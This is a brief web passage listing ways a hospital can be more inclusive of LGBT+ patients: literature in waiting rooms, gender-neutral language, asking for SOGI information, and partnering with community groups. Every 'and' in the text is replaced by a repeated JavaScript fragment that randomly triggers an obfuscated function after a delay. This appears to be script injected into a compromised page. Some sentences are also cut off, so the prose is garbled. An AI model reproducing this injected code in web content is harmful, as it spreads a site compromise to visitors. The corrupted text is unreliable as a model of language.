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- Provide literature in lobbies andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and waiting rooms that reflect the lives of LGBT+ patients andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and families
- Use gender-neutral
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- Ask patients for SOGI information to get to know them andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and their needs better
- Reach out to LGBT+ organizations in the community your hospital serves andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and establish partnerships
By affirming LGBT+ patients andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and families, these best practices can help your healthcare organization recognize Pride all year long. What are you doing to be more inclusive of LGBT+ populations? Tell us on Twitter: @MoreInclusiveHC, LinkedIn or Facebook.
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